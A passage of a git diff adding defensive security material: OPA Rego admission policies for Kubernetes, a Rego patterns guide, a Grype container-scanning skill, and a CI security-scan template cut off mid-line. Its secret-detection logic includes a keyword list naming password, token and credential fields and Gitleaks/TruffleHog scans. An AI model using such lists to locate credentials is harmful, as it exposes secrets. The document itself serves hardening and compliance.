kubernetes.admission.host_path + +# Allowed host paths (if any) +allowed_host_paths := [ + "/var/log/pods", # Example: log collection +] + +deny[msg] { + input.request.kind.kind == "Pod" + volume := input.request.object.spec.volumes[_] + volume.hostPath + not is_allowed_host_path(volume.hostPath.path) + + msg := sprintf("hostPath volume is not allowed: %v", [volume.hostPath.path]) +} + +is_allowed_host_path(path) { + allowed_host_paths[_] == path +} +``` + +### Security Context + +Comprehensive pod security context validation: + +```rego +package kubernetes.admission.security_context + +deny[msg] { + input.request.kind.kind == "Pod" + not input.request.object.spec.securityContext + + msg := "Pod must define a security context" +} + +deny[msg] { + input.request.kind.kind == "Pod" + pod_security := input.request.object.spec.securityContext + not pod_security.runAsNonRoot + + msg := "Pod security context must set runAsNonRoot: true" +} + +deny[msg] { + input.request.kind.kind == "Pod" + pod_security := input.request.object.spec.securityContext + not pod_security.seccompProfile + + msg := "Pod must define a seccomp profile" +} +``` + +## RBAC Security + +### Wildcard Permissions + +Prevent wildcard RBAC permissions: + +```rego +package kubernetes.rbac.wildcards + +deny[msg] { + input.request.kind.kind == "Role" + rule := input.request.object.rules[_] + rule.verbs[_] == "*" + + msg := sprintf("Role contains wildcard verb permission in rule: %v", [rule]) +} + +deny[msg] { + input.request.kind.kind == "Role" + rule := input.request.object.rules[_] + rule.resources[_] == "*" + + msg := sprintf("Role contains wildcard resource permission in rule: %v", [rule]) +} + +deny[msg] { + input.request.kind.kind == "ClusterRole" + rule := input.request.object.rules[_] + rule.verbs[_] == "*" + + msg := sprintf("ClusterRole contains wildcard verb permission in rule: %v", [rule]) +} +``` + +### Cluster Admin + +Restrict cluster-admin usage: + +```rego +package kubernetes.rbac.cluster_admin + +# System accounts allowed to use cluster-admin +allowed_system_accounts := [ + "system:kube-controller-manager", + "system:kube-scheduler", +] + +deny[msg] { + input.request.kind.kind == "ClusterRoleBinding" + input.request.object.roleRef.name == "cluster-admin" + subject := input.request.object.subjects[_] + not is_allowed_system_account(subject) + + msg := sprintf("cluster-admin binding not allowed for subject: %v", [subject.name]) +} + +is_allowed_system_account(subject) { + allowed_system_accounts[_] == subject.name +} +``` + +### Service Account Token Mounting + +Control service account token auto-mounting: + +```rego +package kubernetes.rbac.service_account_tokens + +deny[msg] { + input.request.kind.kind == "Pod" + input.request.object.spec.automountServiceAccountToken == true + not requires_service_account(input.request.object) + + msg := "Pod should not auto-mount service account token unless required" +} + +requires_service_account(pod) { + pod.metadata.annotations["requires-service-account"] == "true" +} +``` + +## Network Security + +### Network Policies Required + +Require network policies for namespaces: + +```rego +package kubernetes.network.policies_required + +# Check if namespace has network policies (requires admission controller data) +deny[msg] { + input.request.kind.kind == "Namespace" + not has_network_policy_annotation(input.request.object) + + msg := sprintf("Namespace must have network policy annotation: %v", [input.request.object.metadata.name]) +} + +has_network_policy_annotation(namespace) { + namespace.metadata.annotations["network-policy.enabled"] == "true" +} +``` + +### Deny Default Network Policy + +Implement default-deny network policy: + +```rego +package kubernetes.network.default_deny + +deny[msg] { + input.request.kind.kind == "NetworkPolicy" + not is_default_deny(input.request.object) + input.request.object.metadata.labels["policy-type"] == "default" + + msg := "Default network policy must be deny-all" +} + +is_default_deny(network_policy) { + # Check for empty ingress rules (deny all ingress) + not network_policy.spec.ingress + # Check for ingress type + network_policy.spec.policyTypes[_] == "Ingress" +} +``` + +### Service Type LoadBalancer + +Restrict external LoadBalancer services: + +```rego +package kubernetes.network.loadbalancer + +deny[msg] { + input.request.kind.kind == "Service" + input.request.object.spec.type == "LoadBalancer" + not is_approved_for_external_exposure(input.request.object) + + msg := sprintf("LoadBalancer service requires approval annotation: %v", [input.request.object.metadata.name]) +} + +is_approved_for_external_exposure(service) { + service.metadata.annotations["external-exposure.approved"] == "true" +} +``` + +## Image Security + +### Image Registry Whitelist + +Allow only approved image registries: + +```rego +package kubernetes.images.registry_whitelist + +approved_registries := [ + "gcr.io/my-company", + "docker.io/my-company", + "quay.io/my-company", +] + +deny[msg] { + input.request.kind.kind == "Pod" + container := input.request.object.spec.containers[_] + not is_approved_registry(container.image) + + msg := sprintf("Image from unapproved registry: %v", [container.image]) +} + +is_approved_registry(image) { + startswith(image, approved_registries[_]) +} +``` + +### Image Tags + +Prevent latest tag and require specific tags: + +```rego +package kubernetes.images.tags + +deny[msg] { + input.request.kind.kind == "Pod" + container := input.request.object.spec.containers[_] + endswith(container.image, ":latest") + + msg := sprintf("Container uses 'latest' tag: %v", [container.name]) +} + +deny[msg] { + input.request.kind.kind == "Pod" + container := input.request.object.spec.containers[_] + not contains(container.image, ":") + + msg := sprintf("Container image must specify a tag: %v", [container.name]) +} +``` + +### Image Vulnerability Scanning + +Require vulnerability scan results: + +```rego +package kubernetes.images.vulnerability_scanning + +deny[msg] { + input.request.kind.kind == "Pod" + not has_scan_annotation(input.request.object) + + msg := "Pod must have vulnerability scan results annotation" +} + +deny[msg] { + input.request.kind.kind == "Pod" + scan_result := input.request.object.metadata.annotations["vulnerability-scan.result"] + scan_result == "failed" + + msg := "Pod image failed vulnerability scan" +} + +has_scan_annotation(pod) { + pod.metadata.annotations["vulnerability-scan.result"] +} +``` + +## Secret Management + +### Environment Variable Secrets + +Prevent secrets in environment variables: + +```rego +package kubernetes.secrets.env_vars + +sensitive_keywords := [ + "password", + "token", + "apikey", + "secret", + "credential", +] + +deny[msg] { + input.request.kind.kind == "Pod" + container := input.request.object.spec.containers[_] + env := container.env[_] + is_sensitive_name(env.name) + env.value # Direct value, not from secret + + msg := sprintf("Sensitive data in environment variable: %v in container %v", [env.name, container.name]) +} + +is_sensitive_name(name) { + lower_name := lower(name) + contains(lower_name, sensitive_keywords[_]) +} +``` + +### Secret Volume Permissions + +Restrict secret volume mount permissions: + +```rego +package kubernetes.secrets.volume_permissions + +deny[msg] { + input.request.kind.kind == "Pod" + volume := input.request.object.spec.volumes[_] + volume.secret + volume_mount := input.request.object.spec.containers[_].volumeMounts[_] + volume_mount.name == volume.name + not volume_mount.readOnly + + msg := sprintf("Secret volume mount must be read-only: %v", [volume.name]) +} +``` + +### External Secrets + +Require use of external secret management: + +```rego +package kubernetes.secrets.external + +deny[msg] { + input.request.kind.kind == "Secret" + input.request.object.metadata.labels["environment"] == "production" + not input.request.object.metadata.annotations["external-secret.enabled"] == "true" + + msg := sprintf("Production secrets must use external secret management: %v", [input.request.object.metadata.name]) +} +``` + +## Admission Control Integration + +Example OPA Gatekeeper ConstraintTemplate: + +```yaml +apiVersion: templates.gatekeeper.sh/v1beta1 +kind: ConstraintTemplate +metadata: + name: k8spodsecsecurity +spec: + crd: + spec: + names: + kind: K8sPodSecSecurity + targets: + - target: admission.k8s.gatekeeper.sh + rego: | + package k8spodsecurity + + violation[{"msg": msg}] { + container := input.review.object.spec.containers[_] + container.securityContext.privileged == true + msg := sprintf("Privileged container not allowed: %v", [container.name]) + } + + violation[{"msg": msg}] { + container := input.review.object.spec.containers[_] + not container.securityContext.runAsNonRoot + msg := sprintf("Container must run as non-root: %v", [container.name]) + } +``` + +Example Constraint: + +```yaml +apiVersion: constraints.gatekeeper.sh/v1beta1 +kind: K8sPodSecSecurity +metadata: + name: pod-security-policy +spec: + match: + kinds: + - apiGroups: [""] + kinds: ["Pod"] + namespaces: + - "production" + - "staging" +``` + +## References + +- [Kubernetes Pod Security Standards](https://kubernetes.io/docs/concepts/security/pod-security-standards/) +- [OPA Gatekeeper Library](https://github.com/open-policy-agent/gatekeeper-library) +- [NSA Kubernetes Hardening Guide](https://www.nsa.gov/Press-Room/News-Highlights/Article/Article/2716980/) +- [CIS Kubernetes Benchmark](https://www.cisecurity.org/benchmark/kubernetes) diff --git a/skills/compliance/policy-opa/references/rego-patterns.md b/skills/compliance/policy-opa/references/rego-patterns.md new file mode 100644 index 0000000..8fd13a8 --- /dev/null +++ b/skills/compliance/policy-opa/references/rego-patterns.md @@ -0,0 +1,505 @@ +# Common Rego Patterns for Security and Compliance + +This reference provides common Rego patterns for implementing security and compliance policies in OPA. + +## Table of Contents + +- [Basic Patterns](#basic-patterns) +- [Security Patterns](#security-patterns) +- [Compliance Patterns](#compliance-patterns) +- [Advanced Patterns](#advanced-patterns) + +## Basic Patterns + +### Deny Rules + +Most common pattern - deny when condition is met: + +```rego +package example + +deny[msg] { + condition_is_true + msg := "Descriptive error message" +} +``` + +### Allow Rules + +Whitelist pattern - allow specific cases: + +```rego +package example + +default allow = false + +allow { + input.user.role == "admin" +} + +allow { + input.user.id == input.resource.owner +} +``` + +### Array Iteration + +Iterate over arrays to check conditions: + +```rego +package example + +deny[msg] { + container := input.spec.containers[_] + container.image == "vulnerable:latest" + msg := sprintf("Vulnerable image detected: %v", [container.name]) +} +``` + +### Object Key Checking + +Verify required keys exist: + +```rego +package example + +required_labels := ["app", "environment", "owner"] + +deny[msg] { + missing := required_labels[_] + not input.metadata.labels[missing] + msg := sprintf("Missing required label: %v", [missing]) +} +``` + +## Security Patterns + +### Privileged Container Check + +Deny privileged containers: + +```rego +package kubernetes.security + +deny[msg] { + container := input.spec.containers[_] + container.securityContext.privileged == true + msg := sprintf("Privileged container not allowed: %v", [container.name]) +} +``` + +### Host Path Volume Check + +Prevent hostPath volumes: + +```rego +package kubernetes.security + +deny[msg] { + volume := input.spec.volumes[_] + volume.hostPath + msg := sprintf("hostPath volumes not allowed: %v", [volume.name]) +} +``` + +### Image Registry Whitelist + +Allow only approved registries: + +```rego +package kubernetes.security + +allowed_registries := [ + "gcr.io/company", + "docker.io/company", +] + +deny[msg] { + container := input.spec.containers[_] + image := container.image + not startswith_any(image, allowed_registries) + msg := sprintf("Image from unauthorized registry: %v", [image]) +} + +startswith_any(str, prefixes) { + startswith(str, prefixes[_]) +} +``` + +### Network Policy Enforcement + +Require network policies for namespaces: + +```rego +package kubernetes.security + +deny[msg] { + input.kind == "Namespace" + not input.metadata.labels["network-policy"] + msg := "Namespace must have network-policy label" +} +``` + +### Secret in Environment Variables + +Prevent secrets in environment variables: + +```rego +package kubernetes.security + +deny[msg] { + container := input.spec.containers[_] + env := container.env[_] + contains(lower(env.name), "password") + env.value # Direct value, not from secret + msg := sprintf("Secret in environment variable: %v", [env.name]) +} +``` + +## Compliance Patterns + +### SOC2 CC6.1: Access Control + +```rego +package compliance.soc2 + +# Deny cluster-admin for non-system accounts +deny[msg] { + input.kind == "RoleBinding" + input.roleRef.name == "cluster-admin" + not startswith(input.subjects[_].name, "system:") + msg := sprintf("SOC2 CC6.1: cluster-admin role binding not allowed for %v", [input.metadata.name]) +} + +# Require authentication labels +deny[msg] { + input.kind == "Service" + input.spec.type == "LoadBalancer" + not input.metadata.annotations["auth.required"] + msg := "SOC2 CC6.1: LoadBalancer services must require authentication" +} +``` + +### PCI-DSS 8.2.1: Strong Authentication + +```rego +package compliance.pci + +# Require MFA annotation +deny[msg] { + input.kind == "Ingress" + input.metadata.annotations["payment.enabled"] == "true" + not input.metadata.annotations["mfa.required"] == "true" + msg := "PCI-DSS 8.2.1: Payment endpoints must require MFA" +} + +# Password complexity requirements +deny[msg] { + input.kind == "ConfigMap" + input.data["password.minLength"] + to_number(input.data["password.minLength"]) < 12 + msg := "PCI-DSS 8.2.1: Minimum password length must be 12" +} +``` + +### GDPR Article 25: Data Protection by Design + +```rego +package compliance.gdpr + +# Require data classification +deny[msg] { + input.kind == "Deployment" + processes_personal_data(input) + not input.metadata.labels["data-classification"] + msg := "GDPR Art25: Deployments processing personal data must have data-classification label" +} + +# Require encryption for personal data +deny[msg] { + input.kind == "PersistentVolumeClaim" + input.metadata.labels["data-type"] == "personal" + not input.metadata.annotations["volume.encryption.enabled"] == "true" + msg := "GDPR Art25: Personal data volumes must use encryption" +} + +processes_personal_data(resource) { + resource.metadata.labels["data-type"] == "personal" +} + +processes_personal_data(resource) { + contains(lower(resource.metadata.name), "user") +} +``` + +### HIPAA 164.312: Technical Safeguards + +```rego +package compliance.hipaa + +# Require encryption in transit +deny[msg] { + input.kind == "Service" + input.metadata.labels["phi-data"] == "true" + not input.metadata.annotations["tls.enabled"] == "true" + msg := "HIPAA 164.312: Services handling PHI must use TLS encryption" +} + +# Audit logging requirement +deny[msg] { + input.kind == "Deployment" + input.metadata.labels["phi-data"] == "true" + not has_audit_logging(input) + msg := "HIPAA 164.312: PHI deployments must enable audit logging" +} + +has_audit_logging(resource) { + resource.spec.template.metadata.annotations["audit.enabled"] == "true" +} +``` + +## Advanced Patterns + +### Helper Functions + +Create reusable helper functions: + +```rego +package helpers + +# Check if string starts with any prefix +startswith_any(str, prefixes) { + startswith(str, prefixes[_]) +} + +# Check if array contains value +array_contains(arr, val) { + arr[_] == val +} + +# Get all containers (including init containers) +all_containers[container] { + container := input.spec.containers[_] +} + +all_containers[container] { + container := input.spec.initContainers[_] +} + +# Safe label access with default +get_label(resource, key, default_val) = val { + val := resource.metadata.labels[key] +} else = default_val +``` + +### Multi-Framework Mapping + +Map single policy to multiple frameworks: + +```rego +package multi_framework + +deny[msg] { + container := input.spec.containers[_] + not container.securityContext.readOnlyRootFilesystem + + msg := { + "violation": "Container filesystem must be read-only", + "container": container.name, + "frameworks": { + "SOC2": "CC6.1", + "PCI-DSS": "2.2", + "NIST": "CM-7", + } + } +} +``` + +### Severity Levels + +Add severity to violations: + +```rego +package severity + +violations[violation] { + container := input.spec.containers[_] + container.securityContext.privileged == true + + violation := { + "message": sprintf("Privileged container: %v", [container.name]), + "severity": "critical", + "remediation": "Set securityContext.privileged to false" + } +} + +violations[violation] { + not input.spec.securityContext.runAsNonRoot + + violation := { + "message": "Pod does not enforce non-root user", + "severity": "high", + "remediation": "Set spec.securityContext.runAsNonRoot to true" + } +} +``` + +### Exception Handling + +Allow policy exceptions with justification: + +```rego +package exceptions + +default allow = false + +# Check for valid exception +has_exception { + input.metadata.annotations["policy.exception"] == "true" + input.metadata.annotations["policy.justification"] + input.metadata.annotations["policy.approver"] +} + +deny[msg] { + violates_policy + not has_exception + msg := "Policy violation - no valid exception found" +} + +deny[msg] { + violates_policy + has_exception + not is_valid_approver + msg := "Policy exception requires valid approver" +} +``` + +### Data Validation + +Validate external data sources: + +```rego +package data_validation + +import data.approved_images + +deny[msg] { + container := input.spec.containers[_] + not image_approved(container.image) + msg := sprintf("Image not in approved list: %v", [container.image]) +} + +image_approved(image) { + approved_images[_] == image +} + +# Validate with external API (requires OPA bundle with data) +deny[msg] { + input.kind == "Deployment" + namespace := input.metadata.namespace + not data.namespaces[namespace].approved + msg := sprintf("Deployment to unapproved namespace: %v", [namespace]) +} +``` + +### Testing Patterns + +Write comprehensive tests: + +```rego +package example_test + +import data.example + +# Test deny rule +test_deny_privileged { + input := { + "spec": { + "containers": [{ + "name": "app", + "securityContext": {"privileged": true} + }] + } + } + count(example.deny) > 0 +} + +# Test allow case +test_allow_unprivileged { + input := { + "spec": { + "containers": [{ + "name": "app", + "securityContext": {"privileged": false} + }] + } + } + count(example.deny) == 0 +} + +# Test with multiple containers +test_multiple_containers { + input := { + "spec": { + "containers": [ + {"name": "app1", "securityContext": {"privileged": false}}, + {"name": "app2", "securityContext": {"privileged": true}} + ] + } + } + count(example.deny) == 1 +} +``` + +## Performance Optimization + +### Index Data Structures + +Use indexed data for faster lookups: + +```rego +# Slow - iterates every time +approved_images := ["image1:v1", "image2:v1", "image3:v1"] + +deny[msg] { + container := input.spec.containers[_] + not array_contains(approved_images, container.image) + msg := "Image not approved" +} + +# Fast - uses indexing +approved_images_set := { + "image1:v1", + "image2:v1", + "image3:v1" +} + +deny[msg] { + container := input.spec.containers[_] + not approved_images_set[container.image] + msg := "Image not approved" +} +``` + +### Partial Evaluation + +Use comprehensions for efficiency: + +```rego +# Collect all violations at once +all_violations := [msg | + container := input.spec.containers[_] + violates_policy(container) + msg := format_message(container) +] + +deny[msg] { + msg := all_violations[_] +} +``` + +## References + +- [Rego Language Reference](https://www.openpolicyagent.org/docs/latest/policy-reference/) +- [OPA Best Practices](https://www.openpolicyagent.org/docs/latest/policy-performance/) +- [Rego Style Guide](https://github.com/open-policy-agent/opa/blob/main/docs/content/policy-language.md) diff --git a/skills/devsecops/.category b/skills/devsecops/.category new file mode 100644 index 0000000..99ae972 --- /dev/null +++ b/skills/devsecops/.category @@ -0,0 +1,5 @@ +# DevSecOps Skills + +This directory contains skills for DevSecOps and CI/CD security operations. + +See the main [README.md](../../README.md) for usage and [CONTRIBUTE.md](../../CONTRIBUTE.md) for contribution guidelines. diff --git a/skills/devsecops/container-grype/SKILL.md b/skills/devsecops/container-grype/SKILL.md new file mode 100644 index 0000000..4ae1e34 --- /dev/null +++ b/skills/devsecops/container-grype/SKILL.md @@ -0,0 +1,329 @@ +--- +name: container-grype +description: > + Container vulnerability scanning and dependency risk assessment using Grype with CVSS severity + ratings, EPSS exploit probability, and CISA KEV indicators. Use when: (1) Scanning container + images and filesystems for known vulnerabilities, (2) Integrating vulnerability scanning into + CI/CD pipelines with severity thresholds, (3) Analyzing SBOMs (Syft, SPDX, CycloneDX) for + security risks, (4) Prioritizing remediation based on threat metrics (CVSS, EPSS, KEV), + (5) Generating vulnerability reports in multiple formats (JSON, SARIF, CycloneDX) for security + toolchain integration. +version: 0.1.0 +maintainer: SirAppSec +category: devsecops +tags: [container-security, vulnerability-scanning, sca, sbom, cvss, cve, docker, grype] +frameworks: [CWE, NIST] +dependencies: + tools: [grype, docker] +references: + - https://github.com/anchore/grype + - https://www.cve.org/ + - https://nvd.nist.gov/ +--- + +# Container Vulnerability Scanning with Grype + +## Overview + +Grype is an open-source vulnerability scanner that identifies known security flaws in container images, +filesystems, and Software Bill of Materials (SBOM) documents. It analyzes operating system packages +(Alpine, Ubuntu, Red Hat, Debian) and language-specific dependencies (Java, Python, JavaScript, Ruby, +Go, PHP, Rust) against vulnerability databases to detect CVEs. + +Grype emphasizes actionable security insights through: +- CVSS severity ratings for risk classification +- EPSS exploit probability scores for threat assessment +- CISA Known Exploited Vulnerabilities (KEV) indicators +- Multiple output formats (table, JSON, SARIF, CycloneDX) for toolchain integration + +## Quick Start + +Scan a container image: +```bash +grype +``` + +Examples: +```bash +# Scan official Docker image +grype alpine:latest + +# Scan local Docker image +grype myapp:v1.2.3 + +# Scan filesystem directory +grype dir:/path/to/project + +# Scan SBOM file +grype sbom:/path/to/sbom.json +``` + +## Core Workflow + +### Basic Vulnerability Scan + +1. **Identify scan target**: Determine what to scan (container image, filesystem, SBOM) +2. **Run Grype scan**: Execute `grype ` to analyze for vulnerabilities +3. **Review findings**: Examine CVE IDs, severity, CVSS scores, affected packages +4. **Prioritize remediation**: Focus on critical/high severity, CISA KEV, high EPSS scores +5. **Apply fixes**: Update vulnerable packages or base images +6. **Re-scan**: Verify vulnerabilities are resolved + +### CI/CD Integration with Fail Thresholds + +For automated pipeline security gates: + +```bash +# Fail build if any critical vulnerabilities found +grype --fail-on critical + +# Fail on high or critical severities +grype --fail-on high + +# Output JSON for further processing +grype -o json > results.json +``` + +**Pipeline integration pattern**: +1. Build container image +2. Run Grype scan with `--fail-on` threshold +3. If scan fails: Block deployment, alert security team +4. If scan passes: Continue deployment workflow +5. Archive scan results as build artifacts + +### SBOM-Based Scanning + +Use Grype with Syft-generated SBOMs for faster re-scanning: + +```bash +# Generate SBOM with Syft (separate skill: sbom-syft) +syft -o json > sbom.json + +# Scan SBOM with Grype (faster than re-analyzing image) +grype sbom:sbom.json + +# Pipe Syft output directly to Grype +syft -o json | grype +``` + +**Benefits of SBOM workflow**: +- Faster re-scans without re-analyzing image layers +- Share SBOMs across security tools +- Archive SBOMs for compliance and auditing + +### Risk Prioritization Workflow + +Progress: +[ ] 1. Run full Grype scan with JSON output: `grype -o json > results.json` +[ ] 2. Use helper script to extract high-risk CVEs: `./scripts/prioritize_cves.py results.json` +[ ] 3. Review CISA KEV matches (actively exploited vulnerabilities) +[ ] 4. Check EPSS scores (exploit probability) for non-KEV findings +[ ] 5. Prioritize remediation: KEV > High EPSS > CVSS Critical > CVSS High +[ ] 6. Document remediation plan with CVE IDs and affected packages +[ ] 7. Apply fixes and re-scan to verify + +Work through each step systematically. Check off completed items. + +## Output Formats + +Grype supports multiple output formats for different use cases: + +**Table (default)**: Human-readable console output +```bash +grype +``` + +**JSON**: Machine-parseable for automation +```bash +grype -o json +``` + +**SARIF**: Static Analysis Results Interchange Format for IDE integration +```bash +grype -o sarif +``` + +**CycloneDX**: SBOM format with vulnerability data +```bash +grype -o cyclonedx-json +``` + +**Template**: Custom output using Go templates +```bash +grype -o template -t custom-template.tmpl +``` + +## Advanced Configuration + +### Filtering and Exclusions + +Exclude specific file paths: +```bash +grype --exclude '/usr/share/doc/**' +``` + +Filter by severity: +```bash +grype --only-fixed # Only show vulnerabilities with available fixes +``` + +### Custom Ignore Rules + +Create `.grype.yaml` to suppress false positives: + +```yaml +ignore: + # Ignore specific CVE + - vulnerability: CVE-YYYY-XXXXX + reason: "False positive - component not used" + + # Ignore CVE for specific package + - vulnerability: CVE-YYYY-ZZZZZ + package: + name: example-lib + version: 1.2.3 + reason: "Risk accepted - mitigation controls in place" +``` + +### Database Management + +Update vulnerability database: +```bash +grype db update +``` + +Check database status: +```bash +grype db status +``` + +Use specific database location: +```bash +grype --db /path/to/database +``` + +## Security Considerations + +- **Sensitive Data Handling**: Scan results may contain package names and versions that reveal + application architecture. Store results securely and limit access to authorized security personnel. + +- **Access Control**: Grype requires Docker socket access when scanning container images. + Restrict permissions to prevent unauthorized image access. + +- **Audit Logging**: Log all Grype scans with timestamps, target details, and operator identity + for compliance and incident response. Archive scan results for historical vulnerability tracking. + +- **Compliance**: Regular vulnerability scanning supports SOC2, PCI-DSS, NIST 800-53, and ISO 27001 + requirements. Document scan frequency and remediation SLAs. + +- **Safe Defaults**: Use `--fail-on critical` as minimum threshold for production deployments. + Configure automated scans in CI/CD to prevent vulnerable images from reaching production. + +## Bundled Resources + +### Scripts (`scripts/`) + +- **prioritize_cves.py** - Parse Grype JSON output and prioritize CVEs by threat metrics (KEV, EPSS, CVSS) +- **grype_scan.sh** - Wrapper script for consistent Grype scans with logging and threshold configuration + +### References (`references/`) + +- **cvss_guide.md** - CVSS severity rating system and score interpretation +- **cisa_kev.md** - CISA Known Exploited Vulnerabilities catalog and remediation urgency +- **vulnerability_remediation.md** - Common remediation patterns for dependency vulnerabilities + +### Assets (`assets/`) + +- **grype-ci-config.yml** - CI/CD pipeline configuration for Grype vulnerability scanning +- **grype-config.yaml** - Example Grype configuration with common ignore patterns + +## Common Patterns + +### Pattern 1: Pre-Production Scanning + +Scan before pushing images to registry: + +```bash +# Build image +docker build -t myapp:latest . + +# Scan locally before push +grype myapp:latest --fail-on critical + +# If scan passes, push to registry +docker push myapp:latest +``` + +### Pattern 2: Scheduled Scanning + +Re-scan existing images for newly disclosed vulnerabilities: + +```bash +# Scan all production images daily +for image in $(docker images --format '{{.Repository}}:{{.Tag}}' | grep prod); do + grype $image -o json >> daily-scan-$(date +%Y%m%d).json +done +``` + +### Pattern 3: Base Image Selection + +Compare base images to choose least vulnerable option: + +```bash +# Compare Alpine versions +grype alpine:3.18 +grype alpine:3.19 + +# Compare distros +grype ubuntu:22.04 +grype debian:12-slim +grype alpine:3.19 +``` + +## Integration Points + +- **CI/CD**: Integrate with GitHub Actions, GitLab CI, Jenkins, CircleCI using `--fail-on` thresholds +- **Container Registries**: Scan images from Docker Hub, ECR, GCR, ACR, Harbor +- **Security Tools**: Export SARIF for GitHub Security, JSON for SIEM ingestion, CycloneDX for DependencyTrack +- **SDLC**: Scan during build (shift-left), before deployment (quality gate), and scheduled (continuous monitoring) + +## Troubleshooting + +### Issue: Database Update Fails + +**Symptoms**: `grype db update` fails with network errors + +**Solution**: +- Check network connectivity and proxy settings +- Verify firewall allows access to Grype database sources +- Use `grype db update --verbose` for detailed error messages +- Consider using offline database: `grype db import /path/to/database.tar.gz` + +### Issue: False Positives + +**Symptoms**: Grype reports vulnerabilities in unused code or misidentified packages + +**Solution**: +- Create `.grype.yaml` ignore file with specific CVE suppressions +- Document justification for each ignored vulnerability +- Periodically review ignored CVEs (quarterly) to reassess risk +- Use `--only-fixed` to focus on actionable findings + +### Issue: Slow Scans + +**Symptoms**: Grype scans take excessive time on large images + +**Solution**: +- Use SBOM workflow: Generate SBOM once with Syft, re-scan SBOM with Grype +- Exclude unnecessary paths: `--exclude '/usr/share/doc/**'` +- Use local database cache: `grype db update` before batch scans +- Scan base images separately to identify inherited vulnerabilities + +## References + +- [Grype GitHub Repository](https://github.com/anchore/grype) +- [Grype Documentation](https://github.com/anchore/grype#getting-started) +- [NIST National Vulnerability Database](https://nvd.nist.gov/) +- [CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) +- [FIRST EPSS (Exploit Prediction Scoring System)](https://www.first.org/epss/) +- [CVSS Specification](https://www.first.org/cvss/specification-document) diff --git a/skills/devsecops/container-grype/assets/.gitkeep b/skills/devsecops/container-grype/assets/.gitkeep new file mode 100644 index 0000000..189ed78 --- /dev/null +++ b/skills/devsecops/container-grype/assets/.gitkeep @@ -0,0 +1,9 @@ +# Assets Directory + +Place files that will be used in the output Claude produces: +- Templates +- Configuration files +- Images/logos +- Boilerplate code + +These files are NOT loaded into context but copied/modified in output. diff --git a/skills/devsecops/container-grype/assets/ci-config-template.yml b/skills/devsecops/container-grype/assets/ci-config-template.yml new file mode 100644 index 0000000..367cdbb --- /dev/null +++ b/skills/devsecops/container-grype/assets/ci-config-template.yml @@ -0,0 +1,357 @@ +# Security-Enhanced CI/CD Pipeline Template +# +# This template demonstrates security best practices for CI/CD pipelines. +# Adapt this template to your specific security tool and workflow needs. +# +# Key Security Features: +# - SAST (Static Application Security Testing) +# - Dependency vulnerability scanning +# - Secrets detection +# - Infrastructure-as-Code security scanning +# - Container image scanning +# - Security artifact uploading for compliance + +name: Security Scan Pipeline + +on: + push: + branches: [main, develop] + pull_request: + branches: [main, develop] + schedule: + # Run weekly security scans on Sunday at 2 AM UTC + - cron: '0 2 * * 0' + workflow_dispatch: # Allow manual trigger + +# Security: Restrict permissions to minimum required +permissions: + contents: read + security-events: write # For uploading SARIF results + pull-requests: write # For commenting on PRs + +env: + # Configuration + SECURITY_SCAN_FAIL_ON: 'critical,high' # Fail build on these severities + REPORT_DIR: 'security-reports' + +jobs: + # Job 1: Static Application Security Testing (SAST) + sast-scan: + name: SAST Security Scan + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 # Full history for better analysis + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Run SAST Scanner + run: | + # Example: Using Semgrep for SAST + pip install semgrep + semgrep --config=auto \ + --json \ + --output ${{ env.REPORT_DIR }}/sast-results.json \ + . || true + + # Alternative: Bandit for Python projects + # pip install bandit + # bandit -r . -f json -o ${{ env.REPORT_DIR }}/bandit-results.json + + - name: Process SAST Results + run: | + # Parse results and fail on critical/high severity + python3 -c " + import json + import sys + + with open('${{ env.REPORT_DIR }}/sast-results.json') as f: + results = json.load(f) + + critical = len([r for r in results.get('results', []) if r.get('extra', {}).get('severity') == 'ERROR']) + high = len([r for r in results.get('results', []) if r.get('extra', {}).get('severity') == 'WARNING']) + + print(f'Critical findings: {critical}') + print(f'High findings: {high}') + + if critical > 0: + print('❌ Build failed: Critical security issues found') + sys.exit(1) + elif high > 0: + print('⚠️ Warning: High severity issues found') + # Optionally fail on high severity + # sys.exit(1) + else: + print('✅ No critical security issues found') + " + + - name: Upload SAST Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: sast-results + path: ${{ env.REPORT_DIR }}/sast-results.json + retention-days: 30 + + # Job 2: Dependency Vulnerability Scanning + dependency-scan: + name: Dependency Vulnerability Scan + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Scan Python Dependencies + if: hashFiles('requirements.txt') != '' + run: | + pip install safety + safety check \ + --json \ + --output ${{ env.REPORT_DIR }}/safety-results.json \ + || true + + - name: Scan Node Dependencies + if: hashFiles('package.json') != '' + run: | + npm audit --json > ${{ env.REPORT_DIR }}/npm-audit.json || true + + - name: Process Dependency Results + run: | + # Check for critical vulnerabilities + if [ -f "${{ env.REPORT_DIR }}/safety-results.json" ]; then + critical_count=$(python3 -c "import json; data=json.load(open('${{ env.REPORT_DIR }}/safety-results.json')); print(len([v for v in data.get('vulnerabilities', []) if v.get('severity', '').lower() == 'critical']))") + echo "Critical vulnerabilities: $critical_count" + if [ "$critical_count" -gt "0" ]; then + echo "❌ Build failed: Critical vulnerabilities in dependencies" + exit 1 + fi + fi + + - name: Upload Dependency Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: dependency-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 3: Secrets Detection + secrets-scan: + name: Secrets Detection + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 # Full history to scan all commits + + - name: Run Gitleaks + uses: gitleaks/gitleaks-action@v2 + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + GITLEAKS_ENABLE_SUMMARY: true + + - name: Alternative - TruffleHog Scan + if: false # Set to true to enable + run: | + pip install truffleHog + trufflehog --json --regex --entropy=True . \ + > ${{ env.REPORT_DIR }}/trufflehog-results.json || true + + - name: Upload Secrets Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: secrets-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 4: Container Image Scanning + container-scan: + name: Container Image Security Scan + runs-on: ubuntu-latest + if: hashFiles('Dockerfile') != '' + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Build Docker Image + run: | + docker build -t app:${{ 